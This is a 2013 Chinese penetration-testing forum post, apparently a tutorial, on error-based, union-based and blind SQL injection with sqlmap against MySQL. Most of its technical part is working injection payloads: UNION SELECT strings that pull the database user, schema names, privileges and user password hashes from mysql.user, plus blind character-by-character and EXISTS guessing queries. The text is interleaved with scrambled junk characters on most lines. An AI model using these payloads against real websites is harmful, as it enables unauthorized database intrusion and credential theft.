中国网络渗透测试联盟

标题: sqlmap高级注入 [打印本页]
作者: admin    时间: 2013-7-16 20:31
标题: sqlmap高级注入
放假第一天，本应该好好放松一下，可是还是想着把文章写完先。。。
# ^: g1 V+ Y- U" N8 P/ y7 [( p. ^
. x7 k+ e$ E1 R6 e这次的主题是高级注入，坛子里也讲到了一些，不过本文旨在给大家一个更深刻的概念和全面的理解，下面看看我自己列的一个表7 |1 H  P( i; }1 M- @/ Z
, E3 \' H7 K( n5 P! Z. x: S: n" h  ?
分类标准        分类        备注
4 u! f) |  Y  `$ ~* p( X+ O按字段类型        整型注入，字符型注入       
1 K" k9 v2 O  `1 R按出现的位置        get注入，post注入，cookie注入，http header注入       
6 o) `9 g' ?" d' t9 ^& y* C然而高级注入是这样的
+ z5 o7 K  r6 r! ` , G$ n  Z  w$ G% M
高级注入分类        条件' y6 {. {5 ^$ j3 ^+ F! K, @
error-based sql        数据库的错误回显可以返回，存在数据库，表结构: h' S3 G' \. Q; ]
union-based sql        能够使用union，存在数据库，表结构& z( k/ y) |; x
blind sql        存在注入$ `3 R8 q3 C7 k5 H  f# G- ]4 t
我们暂且不考虑waf等的影响，只从原理上学习。通过上面我们不难发现，三种高级注入选择的顺序应该是eub（第一个字母，后面为了方便我都这样表示了 ），实际上，e是不需要知道字段数的，u需要知道字段数，e之所以在前我觉得主要是因为这个，因为在其他方面它们没有本质的区别，它们都需要知道数据库以及表的结构，这样才能构造出相应的语句，当然，能e一般能u（没过滤union等），反过来却很不一定，因为一般会有自定义的错误提醒。如果没有结构，那么就回到了最悲剧，最麻烦的b了，猜。。。当然可能没有结果，但是如果只是不能使用u，有结构，b还是能出结果的，只是苦逼点而已。。。, G$ {1 m9 O* m6 Z' t! b
9 @+ x* n3 s8 G5 W
好了，说了这么多，该上神器sqlmap了，最近坛子里貌似很火
; g8 h. c! `: }5 } , s- e9 v  g, c, k' u
附件分别以mysql和mssql为例子，提醒：sqlmap中使用-v 3可以查看每个请求的payload。
/ _& Z% e5 x3 S/ a
  F0 X# w5 m7 m8 m6 A: B) q这里用mysql说明
8 F) R) S; q, M& n ) n6 k! R. t5 z
e注入坛子里很多了，请看戳我或者再戳我4 `9 u% f. T1 a5 d2 e, k2 U

1 L# j& O9 {4 R) E! Ru注入其实也很多了，这里就大概帖上一些重要语句吧，附件上结合例子都有的
) W" U- ]% c& |! j ! b7 o3 ?& U( ~) Y1 ]0 f8 p% z
获取当前数据库用户名
9 S, u+ o8 V" z6 P8 G" t2 |, s4 X
; O# E2 z- {: X, p! Z% v/ VUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(C
0 R  f9 O, n5 H, `' [2 X5 b8 l& fAST(CURRENT_USER() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NUL) V( A% ^8 s1 f! p) {6 }4 V; `
L, NULL#
) \$ k' U% h: A# T+ _3 x注意concat那里不是必须的，只是sqlmap为了自动攫取出数据加上的特征，下面语句类似，涉及基础性的知识，基友们自己去补吧。# ]) R: f$ _) |, l7 h, w: T0 Y

3 i6 r" v# g( h7 E0 ?$ H$ X! J" W获取数据库名" k4 G9 l( Z4 h. }7 y+ g5 H: x  [" O
# ^3 O. L: s, T* p! G, a
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(DATABASE() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#
( w" \' [9 M: `8 t/ @获取所有用户名
/ a% _9 Z+ l/ \   r5 T' L# p) J
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#7 M5 ^# \- ?- ~# H. x0 a% I
查看当前用户权限
; Y' g' a% `% n$ e# A9 q + z, G- m6 d2 u6 V: X4 h; v
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(privilege_type AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#
% s1 s8 E* w4 |" s: o, K尝试获取密码，当然需要有能读mysql数据库的权限
1 ^) `" |. `; }+ M) ^" ~ 6 t: u. \/ K" b7 w9 |4 I
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(user AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(password AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM mysql.user#
2 P3 f6 a" p, t" N) \获取表名，limit什么的自己搞啦
. Y/ s$ Q5 U; I: Z; I' I  B. I9 @
. }) E# V4 e* c' c% X0 {8 zUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(table_name AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = 0x7061727474696d655f6a6f62#
5 `# J* J9 q. J4 o0 C  @) l获取字段名及其类型5 K/ O% {5 X: J$ \. F
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(column_name AS CHAR),0×20),0x697461626a6e,IFNULL(CAST(column_type AS CHAR),0×20),0x3a6864623a),NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x61646d696e5f7461626c65 AND table_schema=0x7061727474696d655f6a6f62 AND (column_name=0x61646d696e6e616d65 OR column_name=0x70617373776f7264)#
. |% @5 S& S: Z3 x- Q9 i
8 ~; V+ w9 ]* mb注入，呵呵，除了当前用户，数据库，版本可以出来，而如果不能u，但存在数据的结构表，还是能苦逼出来，否则猜也不一定能猜到表和字段，内容自然也出不来，苦逼access啊。。。
: B7 M; J' n5 g9 n' r1 U ( q7 l; i; _) }% ^4 i# Q6 U, k
如：0 |7 a* |' B0 f- l- s
获取当前用户名) L  u2 C3 o# N

" x8 E( d2 _/ P1 E* `+ }. JAND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1)) > 116
+ z4 {$ ]" |' d$ v获取当前数据库- h; @' r9 V8 m* y# y# c- F
, v; c3 E; Z9 ?! Q# g# {* |3 U# ~7 \
AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),6,1)) > 106* r1 I- g$ U) W% z# I
获取表名3 c0 n3 H* i$ J$ C) C
2 y" q% D( `' U( t' e3 x
AND ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7061727474696d655f6a6f62),1,1)) > 51. c: e5 A( q9 _3 f/ `9 A) w" F
获取字段名及其类型和爆内容就不说了，改改上面的就可以了。
, M2 p) E# f4 I2 Y回到最苦逼的情况，无结构的，mysql版本<5.0，现在不多见了吧，还是看看语句。6 }0 Z9 s5 H0 f3 u5 h3 F1 W5 d
爆表
* W* W8 ~0 G* @+ t
5 \6 A  r* \# J2 s8 m1 b+ pAND EXISTS(select * from table)
7 I8 @* j  n1 B$ H* U爆字段
. A  n5 M0 x! |7 } ( j% U  ~+ u3 P2 n$ H9 b. v7 j
AND EXISTS(select pwd from table)
0 z: A+ |, G5 o盲注的变化就比较多了，由于篇幅，只是举个例子而已。
) r- |# K2 M2 I' k, J ' y( T9 y! p! k( n+ i
本来想把mssql和access都写上的，不过编辑得太累了，有时间再写吧，其实原理都差不多，今天就洗洗睡了吧。
/ R+ w4 D8 f5 ~1 F: r



欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2